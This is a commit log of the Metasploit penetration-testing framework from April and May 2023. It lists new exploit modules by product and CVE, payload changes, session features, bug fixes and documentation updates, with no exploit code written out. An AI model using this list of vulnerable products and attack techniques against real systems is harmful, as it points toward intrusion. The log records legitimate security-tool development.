Metasploit 484639a2e0 Bump version of framework to 6.3.17 2023-05-11 12:13:25 -05:00
catatonicprime a445b07233 removing unnecessary call to payload_uri 2023-05-11 16:35:53 +00:00
Shelby Pace 131f2519bc Update modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-11 10:48:48 -05:00
Metasploit 3ffd072852 automatic module_metadata_base.json update 2023-05-11 10:24:58 -05:00
adfoster-r7 fa6a5e24f0 Land #17807, Add in documentation on Metasploit's file system 2023-05-11 16:11:12 +01:00
Grant Willcox 63ffb850dd Land #17984, Fix kerberos datastore name typo in winrm docs
Fix kerberos datastore name typo in winrm docs
2023-05-11 09:56:22 -05:00
adfoster-r7 eb959e2e40 Land #17060, GSoC Project: Implement HTTP-Trace enabled login scanners 2023-05-11 15:45:01 +01:00
Metasploit e3e23d3d7c automatic module_metadata_base.json update 2023-05-11 09:42:41 -05:00
Grant Willcox 020ee7ca5c Land #17964 - Pentaho Business Server Auth Bypass and SSTI - CVE-2022-43769 and CVE-2022-43939 2023-05-11 09:28:55 -05:00
Spencer McIntyre d8dd9bbe79 Move the publish timeout logic (#40)
This makes it accessible from enum_ssm so Linux sessions can be opened.
2023-05-11 09:58:16 -04:00
Spencer McIntyre dbda20d40b Land #17980, Fix Powershell session's #exist?
Replace [System.IO.File]::Exists with Test-Path
2023-05-11 09:10:43 -04:00
adfoster-r7 fe63d80679 Fix issues: double encoding bug, nessus scanner logging, remove dead cgi option 2023-05-11 13:01:52 +01:00
adfoster-r7 55de00911f Fix kerberos datastore name typo in winrm docs 2023-05-11 12:40:00 +01:00
catatonicprime c43eaf86bc Adding documentation. 2023-05-11 05:09:35 +00:00
catatonicprime d50bd24c2f Adding config cleanup. 2023-05-11 04:57:57 +00:00
catatonicprime cb2c6a7d80 Prevent bypass_auth from being called twice when AutoCheck is true 2023-05-11 00:34:47 +00:00
Grant Willcox 9f6a1c18a1 Minor updates to fix URLs, disclosure date, description, and minor gramatical things 2023-05-10 18:22:00 -05:00
Spencer McIntyre e92695149d Fix linux tests, remove Windows support (#39)
* Revert "shell_command_token_base get 0th output index"

This reverts commit 3a4cb3560f.

* Correct the order of arguments to #set_term_size

* Fix paths for directory checks

The path C:\ ends with a trailing backslash which will cause bash to
wait for another line if input. This places the shell in an undesirable
state.

* Fix post module tests for Linux

* Remove the command document

This hasn't been tested and it's unclear under what conditions this
would be used.

* Fix Windows SSM sessions

---------

Co-authored-by: Spencer McIntyre <zeroSteiner@gmail.com>
2023-05-10 17:48:53 -04:00
Grant Willcox 9f0a6503b7 require.js is not the only way, account for this new discovery in code 2023-05-10 13:02:02 -05:00
Grant Willcox 5d4e68d36c Add Metasploit payload example and remove message that may suggest successful exploitation occurred even when it didn't 2023-05-10 10:36:29 -05:00
Grant Willcox 1b8f1de7c8 Add in fixes from review, add archive of software, and use uri_encode_mode for encoding parameters. 2023-05-10 10:16:08 -05:00
RageLtMan 62e59e6250 Replace [System.IO.File]::Exists with Test-Path
The exists? method in post/file has a different implementation for
PSH sessions than other shells which are testing for the existence
of a path, not the presence of a file.

Fix this by replacing [System.IO.File]::Exists with Test-Path.

Testing:
```
PS C:\Windows\system32> [System.IO.File]::Exists("C:\")
False
PS C:\Windows\system32>test-path C:\
PS C:\Windows\system32> test-path C:\
True
```
2023-05-10 11:10:08 -04:00
vtoutain e742df1c33 Rubocop warning fix 2023-05-10 16:18:33 +02:00
space-r7 e514de9aef add comment about jsf substitution 2023-05-10 09:13:01 -05:00
Metasploit 87ba25c706 automatic module_metadata_base.json update 2023-05-10 05:06:35 -05:00
vtoutain cfea6530a1 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-05-10 11:59:46 +02:00
vtoutain d50993cd80 reviews from cdelafuente-r7
Used the AutoCheck mixin, removed the exploit function that was mileading, removed the hardcoded HttpTimeout, and refactored some code portions.
2023-05-10 11:59:09 +02:00
vtoutain daee69e1d0 Fix msftidy errors 2023-05-10 11:55:50 +02:00
Christophe De La Fuente a485a786ef Land #17881, Zyxel chained RCE using LFI and weak password derivation algorithm 2023-05-10 11:49:51 +02:00
h00die-gr3y 4f8024454c Updates based on cdelafuente-r7 latest comments 2023-05-10 07:46:11 +00:00
catatonicprime c5b0bc68d7 Improved automatic targeting, tested back to major version 14 2023-05-09 23:44:46 +00:00
catatonicprime eff189f221 Ensuring csrf_token is initialized. 2023-05-09 23:43:56 +00:00
catatonicprime 43564b5267 Removing unneeded features/options. 2023-05-09 23:43:30 +00:00
Jack Heysel 79d35ad938 Fixed check method 2023-05-09 14:25:03 -05:00
Jack Heysel eca87ea2eb Updated side effects and fixed fail_withs 2023-05-09 14:25:03 -05:00
Jack Heysel 348750ea70 Updated Authors 2023-05-09 14:25:02 -05:00
Jack Heysel 07056a74bc Pentaho Business Server Auth Bypass and SSTI 2023-05-09 14:24:51 -05:00
adfoster-r7 908f7ad3f3 Land #17972, updates to some of the example modules to keep them in line with framework changes 2023-05-09 18:46:25 +01:00
space-r7 d60843f0eb name versions that are vulnerable 2023-05-09 09:16:42 -05:00
space-r7 08a79a2f4e add documentation 2023-05-08 17:42:23 -05:00
space-r7 d1e3ce1183 add Ivanti Avalanche file upload 2023-05-08 17:41:52 -05:00
Metasploit 4e85f9e4da automatic module_metadata_base.json update 2023-05-08 17:36:25 -05:00
Grant Willcox 6dbee6e6f6 Land #17968, Fix a bug in ACE processing when searching for ESC vulnerabilities 2023-05-08 17:12:12 -05:00
Grant Willcox bc25907d1e Add additional clarity to some segments of the module 2023-05-08 16:43:26 -05:00
Spencer McIntyre cdab415ffb Fix a bug in ACE processing
There was an issue in the ACE processing where only ACEs corresponding
to an object were processed for SIDs with enrollment rights. The
processing should also process ACEs that grant the enrollment right and
are not related to any objects. In other words, only ACEs associated
with an object that is neither the CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT
or CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT right should be ignored.
2023-05-08 16:00:38 -05:00
h00die 12911d10fb review comments 2023-05-08 15:25:31 -04:00
Metasploit 4fa6022adb automatic module_metadata_base.json update 2023-05-08 13:49:17 -05:00
Grant Willcox 89889d5e79 Land #17133, Add manageengine adaudit plus authenticated rce module and docs - CVE-2021-4284 2023-05-08 13:23:38 -05:00
Grant Willcox f773d348e1 Add in notes about reliability of the module, and also add documentation on 7005 test on Windows 2022 2023-05-08 12:11:01 -05:00
Grant Willcox c221edb1ec Add in ADAudit Plus build 6077 testing examples 2023-05-08 11:45:44 -05:00
h00die 0ace550537 small updates to example modules 2023-05-07 13:02:30 -04:00
h00die-gr3y 51ab9746fb Updates based on cdelafuente-r7 comments 2023-05-06 19:05:21 +00:00
catatonicprime c69ca39748 consistent indenting 2023-05-06 05:07:59 +00:00
catatonicprime 0448d408ea Match wording from "How to write a module using HttpServer and HttpClient" on docs.metasploit.com 2023-05-06 04:58:50 +00:00
catatonicprime af3c482acd heh, I probably should have tested that too 2023-05-06 04:55:23 +00:00
catatonicprime e37e506fe2 heh, I probably should have tested this 2023-05-06 04:37:43 +00:00
space-r7 f04dababa2 add upload code 2023-05-05 18:59:46 -05:00
h00die e692e927dc review fixes 2023-05-05 16:43:47 -04:00
catatonicprime f27648799b Adding original ZDI reference. Minor formatting changes. 2023-05-05 18:19:53 +00:00
Catatonic Prime 5f12f0e0ba Apply suggestions from code review
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-05-05 11:07:08 -07:00
adfoster-r7 069ad805c1 Fix ruby 3.1 crashes when garbage collecting meterpreter resources 2023-05-05 14:04:17 +01:00
ErikWynter b8856bbb87 fix capitalization of Htlm_fileName JSON parram 2023-05-05 09:59:11 +03:00
Grant Willcox 19651633c4 Update the installation instructions to resolve some issues encountered during testing 2023-05-04 18:26:54 -05:00
space-r7 9fa0dac56c add login and path change methods 2023-05-04 18:03:02 -05:00
Grant Willcox adec2f4fbb Update the login.rb code so we aren't as strict on cookies since older versions sometimes use JSESSIONIDADAPSSO instead of JSESSIONIDSSO for login cookies 2023-05-04 15:40:39 -05:00
jvoisin 3b66b3416f Golf a bit the php payload
- Put all the error-disabling statements on a single line
- Remove some useless spaces
- Use `stristr(…)` (available since PHP4) instead of `strpos(strtolower(…))`
- Use `&&` instead of `and`
- Use backticks instead of `passthru`, since they're equivalent: https://www.php.net/manual/en/language.operators.execution.php
2023-05-04 22:25:32 +02:00
Grant Willcox 8c7ae1b6bb Minor update to comments for clarity 2023-05-04 15:12:32 -05:00
ErikWynter c088430bd9 improve sanity checks in login method and other code review fixes 2023-05-04 15:12:31 -05:00
Grant Willcox f27fc28411 Perform review updates 2023-05-04 15:12:31 -05:00
ErikWynter 9b596b3efd minor changes 2023-05-04 15:12:31 -05:00
ErikWynter 1c6c1dffc6 final code review fixes 2023-05-04 15:12:31 -05:00
ErikWynter 9fe7db4648 improve status codes handling 2023-05-04 15:12:30 -05:00
ErikWynter 86b7f97421 remove trailing whitespace 2023-05-04 15:12:30 -05:00
ErikWynter aede036b02 additional changes from code review 2023-05-04 15:12:30 -05:00
Grant Willcox 8871b2955b Fix up Active Directory name so we appropriately use uppercase 2023-05-04 15:12:30 -05:00
Grant Willcox ba687c49aa Fix a few typos 2023-05-04 15:12:29 -05:00
ErikWynter a5e86a0c51 code review improvements, including renaming silent param 2023-05-04 15:12:29 -05:00
Grant Willcox 0fd743d851 Add in fixes from code review 2023-05-04 15:12:29 -05:00
ErikWynter dd075d5c99 library improvements after code review, module update 2023-05-04 15:12:28 -05:00
ErikWynter a2cf29ab98 partial fixes after library code review 2023-05-04 15:12:28 -05:00
Grant Willcox 61d1cf1460 Fix up things identified during review 2023-05-04 15:12:28 -05:00
Grant Willcox d5032f0a5d Minor touchups on documentation for review 2023-05-04 15:12:28 -05:00
ErikWynter e639460b9f fix library comments for json_post_data.rb 2023-05-04 15:12:27 -05:00
ErikWynter 32796b429b add note about payload limitations for builds 7004 and 7005 2023-05-04 15:12:27 -05:00
ErikWynter 47d374497a create adaudit plus mixin and move some stuff there 2023-05-04 15:12:27 -05:00
Grant Willcox 3b0d8b850b Fix up some issues identified during review 2023-05-04 15:12:26 -05:00
ErikWynter 9f68a5f8d1 add manageengine_adaudit_plus_authenticated_rce exploit module and docs 2023-05-04 15:12:09 -05:00
Metasploit 783a1eb504 Bump version of framework to 6.3.16 2023-05-04 12:11:31 -05:00
Grant Willcox e5c636f931 Move folder descriptions into README.md files 2023-05-03 14:06:13 -05:00
Grant Willcox 184ad67f79 Add in documentation on Metasploit's file system 2023-05-03 14:06:00 -05:00
Metasploit b01c4d37f7 automatic module_metadata_base.json update 2023-05-03 12:04:07 -05:00
Grant Willcox bf61718fe6 Land #17915, Icinga Web 2 Arbitrary File Read (CVE-2022-24716) 2023-05-03 11:47:26 -05:00
Grant Willcox 818bd4837e Add in additional information about testing on Docker 2023-05-03 10:17:16 -05:00
Jeffrey Martin 2059505ccd improve login attempt guards
* tighted up rescue to catch individual attempt exceptions
* remove general rescue in SNMP
* ensure SNMP socket is released
2023-05-03 09:15:14 -05:00
adfoster-r7 3bf01f2cf2 Land #17911, Update setting missing datastore values to a warning instead of an error 2023-05-03 13:04:03 +01:00
cgranleese-r7 67694c1ef7 Removes return false 2023-05-03 11:41:11 +01:00
Metasploit c6547737a6 automatic module_metadata_base.json update 2023-05-03 04:28:17 -05:00
adfoster-r7 ed9b9cc502 Land #17963, Add CVE-1999-0554 to nfsmount module 2023-05-03 10:05:26 +01:00
h00die 0c0ae00149 add cve to nfsmount 2023-05-02 19:58:47 -04:00
h00die 95562e04aa sudoedit work 2023-05-02 18:39:59 -04:00
Grant Willcox 5b080f20b6 Land #17960, lock msgpack until build resolved 2023-05-02 17:09:00 -05:00
Jeffrey Martin 0a85cba56d lock msgpack until build resolved
MessagePack 1.7.0 gem introduced code not compatible with the current
build env used for nightly packages. This may be addressed in several
ways and has been reported upstream. Lock the version a until a path
forward is determined.
2023-05-02 15:53:26 -05:00
Grant Willcox 092e4f93ad Fix up incorrect user who we are executing as 2023-05-02 15:50:46 -05:00
Jeffrey Martin 152f9460f9 rescue login scanner attempts
* Improve base login scanner to catch any Exception
* Catch any Exception in SNMP scanner that overrides base method
* Expand connection errors possible in PostgreSQL scanner
2023-05-02 15:43:57 -05:00
Grant Willcox cf6b309904 Add in quick fixes from review 2023-05-02 15:17:02 -05:00
Metasploit b90b0a75c6 automatic module_metadata_base.json update 2023-05-02 12:24:15 -05:00
adfoster-r7 7ec7a4c607 Land #17910, Fixes couchdb_login false positives 2023-05-02 17:56:55 +01:00
Grant Willcox 40474ed88c Land #17950, Update Rubocop dependency 2023-05-01 09:19:01 -05:00
adfoster-r7 ca0739b3b2 Update rubocop dependency 2023-04-28 23:42:00 +01:00
Grant Willcox 41c75c2e30 Land #17906, Weekly dependency updates for Gemfile.lock 2023-04-28 17:01:09 -05:00
Grant Willcox 22441f1064 Land #16390, Implement Caching DNS Resolver in Rex 2023-04-28 16:42:44 -05:00
Grant Willcox 5169174c45 Remove Rubocop updates until we can fix underlying issues in our code 2023-04-28 15:19:03 -05:00
Grant Willcox 3e81408a24 Add support for getting IPv6 addresses from hosts files and saving them into the cache 2023-04-28 14:47:56 -05:00
Metasploit e3e82f0db2 automatic module_metadata_base.json update 2023-04-28 14:28:52 -05:00
Spencer McIntyre d3a903b8b3 Land #17945, Add missing payload tests 2023-04-28 15:13:50 -04:00
Metasploit e3963a2e5c automatic module_metadata_base.json update 2023-04-28 12:51:28 -05:00
Christophe De La Fuente 60149259a2 Land #17856, RCE exploit for CVE-2023-26359 (Adobe ColdFusion) and an auxiliary module for arbitrary file read via the same vuln. 2023-04-28 19:27:15 +02:00
Grant Willcox 6fa21d130f Land #17944, Update metasploit-payloads gem to 2.0.130 2023-04-28 11:56:33 -05:00
Christophe De La Fuente f5b1b96d9a Fix rubocop issues 2023-04-28 16:09:57 +02:00
Christophe De La Fuente 62806caeae Update web_delivery 2023-04-28 16:09:51 +02:00
RageLtMan 867902e7d0 SSM start/stop publication 2023-04-28 09:00:37 -04:00
h00die-gr3y cfb21e3de2 Added CVE-2023-28770 reference 2023-04-28 12:51:17 +00:00
Metasploit 680ccbfe2f automatic module_metadata_base.json update 2023-04-28 05:55:18 -05:00
adfoster-r7 f6e1fcdd90 Land #17947, feedback_assistant_root: Check if OSX version is blank in check method 2023-04-28 11:25:52 +01:00
bcoles f6725dfc4e feedback_assistant_root: Check if OSX version is blank in check method 2023-04-28 19:52:15 +10:00
catatonicprime 97a76e3883 linting changes. removing unnecessary success checks. 2023-04-28 00:07:47 +00:00
catatonicprime 4ba8d62d88 Removing unused documentation 2023-04-28 00:02:37 +00:00
catatonicprime c0be991ed8 removing superfluous options 2023-04-28 00:00:57 +00:00
Jeffrey Martin 9f2105c06d add sctp payload specs
Update sizes to match automation expectations
2023-04-27 16:42:46 -05:00
Jeffrey Martin 61a8481a0f missing adapter for python Windows 2023-04-27 15:22:12 -05:00
catatonicprime 12f7134cc6 generating payloads on the fly is what we wanted originally 2023-04-27 19:38:12 +00:00
Spencer McIntyre 36f9025cea Update metasploit-payloads gem to 2.0.130
Includes changes from:
* rapid7/metasploit-payloads#631
* rapid7/metasploit-payloads#639
* rapid7/metasploit-payloads#634
2023-04-27 13:47:37 -04:00
Metasploit 601d9cef96 Bump version of framework to 6.3.15 2023-04-27 12:03:50 -05:00
adfoster-r7 4d98499766 Land #17941, Added CVE Identifier to SEC Consult Zyxel Exploit (CVE-2023-28769) 2023-04-27 17:46:38 +01:00
space-r7 63115c9415 Land #17857, add T3S support for weblogic modules 2023-04-27 11:37:37 -05:00
catatonicprime 16ae6b71f4 Use the generated payload as is. 2023-04-27 15:21:21 +00:00
catatonicprime feec15a482 full_uri has what we need for the origin header 2023-04-27 15:07:15 +00:00
Jacob Baines ec5858c198 Added newly assigned CVE identifier 2023-04-27 09:54:48 -04:00
3V3RYONE 9c8bc4e124 added yard docs 2023-04-27 16:56:49 +05:30
catatonicprime 0be38eb3ab method should do one thing and do it well 2023-04-26 19:32:57 +00:00
catatonicprime 5e93669d75 Enable AutoCheck 2023-04-26 19:28:56 +00:00
catatonicprime 9f6fe964e2 bypass_auth returns the anti-csrf token and vprints active session on success 2023-04-26 18:28:02 +00:00
catatonicprime 8694beebd1 Removing unnecessary search. 2023-04-26 18:17:46 +00:00
space-r7 03fcfa7559 Land #17914, fix paths for directory checks 2023-04-26 12:20:46 -05:00
Spencer McIntyre 4b33fc5d64 Land #17839, Cleanup documentation 2023-04-26 13:18:32 -04:00
catatonicprime 0cf5f4cacc More accurate list of side effects. 2023-04-26 16:55:13 +00:00
catatonicprime bcafd22997 Better defaults pattern for TARGETURI. 2023-04-26 16:54:19 +00:00
catatonicprime 8c87660eaa Explicit stance. 2023-04-26 16:53:04 +00:00
catatonicprime 22238a0860 Adding references. 2023-04-26 16:52:26 +00:00
Christophe De La Fuente 8ab37b0b07 Consolidate the FileDropper Mixin doc 2023-04-26 18:04:43 +02:00
Spencer McIntyre bb782a7120 Land #17937, Fix a documentation error
Update setting up a Metasploit development environment documentation
2023-04-26 11:53:10 -04:00
adfoster-r7 7a1f761e84 Update setting up a Metasploit development environment 2023-04-26 11:06:06 +01:00
h00die d454b2e195 cve-2023-22809 2023-04-25 20:54:48 -04:00
catatonicprime 8a9871f0d8 Default to a java payload. 2023-04-25 23:57:05 +00:00
catatonicprime a229a0ed86 If you are receiving 200, that is hard-evidence of bypass. Also Fix typo. 2023-04-25 23:34:04 +00:00
catatonicprime 17271f1046 Adding documentation, expanding failure cases. Always struggle in the last mile. Here we go. 2023-04-25 23:00:33 +00:00
Spencer McIntyre 2dc5a94ab7 Land #17926, Fix 64-bit pointer type
Update pointer type to support 64 bit calls
2023-04-25 16:20:43 -04:00
catatonicprime 1a823b05f1 Serve jar file for exploit. 2023-04-25 18:36:44 +00:00
Metasploit c9a9b998d2 automatic module_metadata_base.json update 2023-04-25 10:48:05 -05:00
dwelch-r7 10577cf1e4 Land #17913, Fix crash when running local exploit suggester 2023-04-25 16:31:59 +01:00
dwelch-r7 8f13040ce0 Land #17931, Fix deadlock regression when printing multiple lines to console 2023-04-25 16:31:27 +01:00
dwelch-r7 e646c0c6e2 Land #17930, Update attic issue text 2023-04-25 10:47:43 +01:00
h00die e7725e7b6d cve-2023-22809 2023-04-25 04:37:33 -04:00
adfoster-r7 6aad398e2b Update attic issue text 2023-04-25 00:42:10 +01:00
adfoster-r7 e7c05eabe3 Fix deadlock regression when printing multiple lines to console 2023-04-25 00:39:44 +01:00
Metasploit 447f36ee37 automatic module_metadata_base.json update 2023-04-24 17:25:57 -05:00
bwatters a8043adef0 Fix accidental copy/paste 2023-04-24 17:19:18 -05:00
bwatters 9215488d31 Update pointer type to support 64 bit calls 2023-04-24 17:14:50 -05:00
bwatters b052386700 Land #17921, resolve_sid: Add docs and resolve RuboCop violations
Merge branch 'land-17921' into upstream-master
2023-04-24 17:08:54 -05:00
vtoutain 3036b607b6 JSON output support
Added the prettyfied JSON output along with the CSV, refactored variables regarding the JSON contacts object.
2023-04-24 11:50:29 +02:00
vtoutain df6c2bf7eb Documentation update
Modified the layout according to reviews, updated scenarios output, and added the JSON example output.
2023-04-24 11:47:21 +02:00
vtoutain e565a8f962 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-04-24 11:44:52 +02:00
Grant Willcox 708da64a68 Add back in the require for dnsruby 2023-04-23 13:56:24 -05:00
catatonicprime 20109932fd Command injection PoC working. 2023-04-23 15:30:23 +00:00
bcoles 5a57ea131e resolve_sid: Add docs and resolve RuboCop violations 2023-04-23 17:39:32 +10:00
RageLtMan 3a4cb3560f shell_command_token_base get 0th output index 2023-04-22 18:00:44 -04:00
RageLtMan d797e5ec2c Simplify SSM shell output filtering 2023-04-22 17:18:21 -04:00
RageLtMan 5132302363 Filter control bytes from SSM output 2023-04-22 15:22:18 -04:00
RageLtMan 5b94077421 Merge remote-tracking branch 'origin/pr/38' into feature/aws_ssm_sessions 2023-04-22 15:20:46 -04:00
bcoles 538381bd4d shell_to_meterpreter: Support using bind payloads with PAYLOAD_OVERRIDE 2023-04-22 15:44:56 +10:00
h00die 076760e011 cve-2022-24716 2023-04-21 16:31:07 -04:00
h00die d6c2e4f528 cve-2022-24716 2023-04-21 16:27:52 -04:00
Spencer McIntyre 8c15c31b56 Fix paths for directory checks
The path C:\ ends with a trailing backslash which will cause bash to
wait for another line if input. This places the shell in an undesirable
state.
2023-04-21 14:39:00 -04:00
Metasploit 0436e8bad9 automatic module_metadata_base.json update 2023-04-21 10:14:29 -05:00
space-r7 365b7c099c Land #17895, add Joomla api scanner 2023-04-21 09:50:24 -05:00
h00die-gr3y c39751094a Updates based on review comments 2023-04-21 11:46:53 +00:00
cgranleese-r7 eb4107b5e2 Fixes couchdb login bug 2023-04-21 10:14:22 +01:00
adfoster-r7 f35b9e4fa5 Fix crash when running local exploit suggester 2023-04-21 10:13:37 +01:00
adfoster-r7 0908c85f1b Land #17912, Bump payloads to 2.0.127 2023-04-21 09:38:17 +01:00
catatonicprime 253f4e54bc rough pseudo-coding 2023-04-21 03:53:03 +00:00
bwatters f1602dd772 Bump payloads to 2.0.127 2023-04-20 18:50:36 -05:00
h00die 17f674e3fa review comments 2023-04-20 16:23:52 -04:00
Metasploit 04df1ef7e8 Bump version of framework to 6.3.14 2023-04-20 12:11:36 -05:00
Metasploit b224fd3ff3 automatic module_metadata_base.json update 2023-04-20 10:47:02 -05:00
cgranleese-r7 896058a147 Land #17908, Update ftp login connect timeout option name 2023-04-20 16:23:42 +01:00
vtoutain d6e921c414 Version regex fix
The previous fix was not matching numbers at the end of the version like "-rc2".
2023-04-20 16:20:40 +02:00
vtoutain ea9019600a Version regex update
Used a less greedy version of the regex based on reviews, as well as the `version.blank?` pattern for improved readability.
2023-04-20 16:00:24 +02:00
vtoutain ecd56c7904 Check logic simplification
Moved most of the check logic inside the check function to make it easier to read.
2023-04-20 11:51:28 +02:00
h00die-gr3y 4131f1abf1 Fixed some bugs in module and added documentation 2023-04-20 08:23:55 +00:00
Spencer McIntyre 2e3a2b6f6d Combine AWS SSM modules, autodetect platform 2023-04-19 18:05:50 -04:00
Spencer McIntyre 59b3c0e945 Set the platform in enum_ssm
Update the enum_ssm module to use the correct session type with the
appropriate platform. Also set the session information to the same
string which also removes the eye sore that is the shell banner.
2023-04-19 18:05:50 -04:00
Spencer McIntyre a7d8bc6757 Fix sessions opening over and over again
Also make some code cleanups
2023-04-19 18:05:50 -04:00
Spencer McIntyre 15ff4875bc Combine AWS SSM modules, autodetect platform 2023-04-19 17:58:59 -04:00
dwelch-r7 f6c8181b7f Land #17909, Fix Windows7 Meterpreter crash when in debug mode 2023-04-19 17:57:00 +01:00
adfoster-r7 8e77b70c99 Fix Windows7 Meterpreter crash when in debug mode 2023-04-19 17:30:05 +01:00
vtoutain a2f3a719a9 Fixes from code reviews
Fixed some typos, took into account the comment from jvoisin to infer fields from the JSON reply, used fail_with as suggested by jheysel-r7, fixed a rubocop warning about a redundant begin block.
2023-04-19 11:45:03 +02:00
vtoutain d875741c87 Fixed documentation typos 2023-04-19 11:43:08 +02:00
vtoutain 35c7d3918d Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-04-19 11:24:37 +02:00
Metasploit 61cfd770ed automatic module_metadata_base.json update 2023-04-18 19:46:28 -05:00
bwatters 9c9eac28a7 Land #17874, VMware Workspace One Access mr_me Hekate LPE
Merge branch 'land-17874' into upstream-master
2023-04-18 19:29:39 -05:00
Metasploit ec025cbeda automatic module_metadata_base.json update 2023-04-18 18:26:39 -05:00
adfoster-r7 34a6980e5e Land #17907, Add VMware Workspace RCE added missing require statement 2023-04-19 00:12:59 +01:00
Metasploit 4cb9a4c142 automatic module_metadata_base.json update 2023-04-18 17:47:12 -05:00
adfoster-r7 246de78f85 Update ftp login connect timeout option name 2023-04-18 23:44:58 +01:00
Jack Heysel 9563466037 Land #17873, add ensure disconnect to ftp login
Add ensure disconnect to ftp login module and ftp timeout configuration
2023-04-18 18:31:12 -04:00
Jack Heysel bd286dd147 Added missing require builder statement 2023-04-18 18:10:46 -04:00
Jack Heysel de18ed438a Removed unnecessary require statement 2023-04-18 18:05:11 -04:00
Zach Goldman 898a9f2f3d add user mutability to connection timeout 2023-04-18 16:31:05 -05:00
Jack Heysel a2c23d18ef Added require builder statement 2023-04-18 16:01:14 -04:00
Jeffrey Martin 2de950c244 Weekly dependency updates for Gemfile.lock 2023-04-18 14:25:28 -05:00
h00die-gr3y de9cd59ea5 added pwd derivation and report credential function including updates based on review comments 2023-04-18 19:17:00 +00:00
Spencer McIntyre d8c8255120 Set the platform in enum_ssm
Update the enum_ssm module to use the correct session type with the
appropriate platform. Also set the session information to the same
string which also removes the eye sore that is the shell banner.
2023-04-18 14:07:04 -04:00
Spencer McIntyre 8ac5ae2a68 Fix sessions opening over and over again
Also make some code cleanups
2023-04-18 12:24:00 -04:00
Metasploit 40613a4741 automatic module_metadata_base.json update 2023-04-18 10:55:25 -05:00
cgranleese-r7 b65d3252e9 Land #17883, Fix crash for lotus domino hashes module when database not active 2023-04-18 16:38:47 +01:00
Metasploit 2eaa31c402 automatic module_metadata_base.json update 2023-04-18 10:17:44 -05:00
bwatters 6ae00877ed Land #17854, VMware Workspace One Access mr_me Hekate RCE
Merge branch 'land-17854' into upstream-master
2023-04-18 09:49:41 -05:00
adfoster-r7 1b72de063e Land #17903, Add missing fields when reading metadata cache 2023-04-18 11:48:05 +01:00
adfoster-r7 7eb799bc89 Land #17904, Remove active database check for module cache rebuild 2023-04-18 11:12:15 +01:00
Dean Welch 7667499011 Update comment and correctly format date 2023-04-18 11:06:19 +01:00
vtoutain e4ae9e0997 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-04-18 11:37:13 +02:00
dsecbypass 413082a4d6 Linting
Simplified version regex, fixed rubocop findings.
2023-04-18 11:24:14 +02:00
Dean Welch d17ab39748 Remove active database check for module cache rebuild 2023-04-17 23:55:37 +01:00
Dean Welch e874731781 Pull out autofilter_ports and autofilter_services from metadata cache 2023-04-17 23:45:19 +01:00
Jack Heysel 78e80f8e32 docs fix 2023-04-17 16:41:35 -04:00
Jack Heysel 162fe21659 Documentation copy pasta correction 2023-04-17 16:39:57 -04:00
jheysel-r7 d4b668e27b Update documentation/modules/exploit/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.md
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-04-17 16:36:31 -04:00
Metasploit e54d602d4c automatic module_metadata_base.json update 2023-04-17 14:56:35 -05:00
Jack Heysel db853f9a68 Land #17711, SPIP unauth RCE module
This module exploits a publically accessible endpoint in
SPIP that results in code execution in the context of the
user running the webapp (CVE-2023-27372).
2023-04-17 15:30:03 -04:00
jvoisin a4e1952da3 Add a module for the latest SPIP vuln 2023-04-17 13:41:03 -04:00
RageLtMan 97c0fa7411 Split CachedResolver to own file per jmartin-r7 2023-04-17 13:14:47 -04:00
dsecbypass a05aae3ebe Support remote database storage
It's better to pass the CSV string to store_loot directly instead of using nil and writing to the local file path ourself.
2023-04-17 17:24:59 +02:00
dwelch-r7 6984c6c7d4 Land #17884, Before running tests ensure database is migrated 2023-04-17 16:08:16 +01:00
Metasploit cf68410e0e automatic module_metadata_base.json update 2023-04-17 08:17:50 -05:00
adfoster-r7 dec705cc2a Land #17898, Adds support for attic label on issues 2023-04-17 13:55:20 +01:00
adfoster-r7 396a4b90cc Land #17892, update unified_remote_rce docs 2023-04-17 13:53:32 +01:00
dsecbypass 3b710293f5 Dolibarr 16 unauthenticated contact database dump
Auxiliary module and documentation.
2023-04-17 14:52:05 +02:00
cgranleese-r7 c1df987c0b Adds support for attic label on issues 2023-04-17 13:45:39 +01:00
sfewer-r7 e54774fd20 ensure SRVHOST is a routable IP 2023-04-17 13:01:30 +01:00
h00die 2c7d54da2f joomla api cve-2023-23752 with create_credential_and_login 2023-04-16 23:20:19 -04:00
h00die 32b6741cd8 joomla api cve-2023-23752 2023-04-16 22:54:54 -04:00
adfoster-r7 169d86e9ae Land #17893, move asan docs 2023-04-17 02:52:19 +01:00
h00die 37130e5a3d move asan docs 2023-04-16 10:19:43 -04:00
h00die 4b176c8ef5 fix unified_remote_rce docs 2023-04-16 10:11:01 -04:00
adfoster-r7 879f94571e Land #17888, Msf::Ui::Console::CommandDispatcher::Core: Fix 'help setg' output 2023-04-15 23:05:27 +01:00
bcoles 1e23dffc5b Msf::Ui::Console::CommandDispatcher::Core: Fix 'help setg' output 2023-04-15 20:35:15 +10:00
adfoster-r7 19c79bed18 Before running tests ensure database is migrated 2023-04-15 00:35:09 +01:00
adfoster-r7 71a058b555 Fix crash for lotus domino hashes module when database not active 2023-04-14 23:28:32 +01:00
Metasploit 66e58e395c automatic module_metadata_base.json update 2023-04-14 15:48:41 -05:00
Grant Willcox 246a69e897 Remove unneeded return statement after raising an exception 2023-04-14 15:28:17 -05:00
Grant Willcox da5a361d3f Remove extra require that wasn't needed with Zeitwerk 2023-04-14 15:28:17 -05:00
Grant Willcox 2d90bdcecb Fix up some YARD issues 2023-04-14 15:28:17 -05:00
RageLtMan db08c5df11 Address @gwilcox-r7's notes 2023-04-14 15:28:17 -05:00
RageLtMan 4be8cd3752 Annotate skip of Debian IPv6 hosts 2023-04-14 15:28:16 -05:00
Grant Willcox 89a564c378 Fix up YARD documentation to account for potential nil being returned 2023-04-14 15:28:16 -05:00
Grant Willcox b01b3a5ecd Fix typo that prevented entries from being cached 2023-04-14 15:28:16 -05:00
RageLtMan 9a23e63365 DNS Resolver Improvements
Handle proxy connection resets over TCP (common w/ ENUM_BRT & TOR).
Ensure qtype is a string before passing to cache.
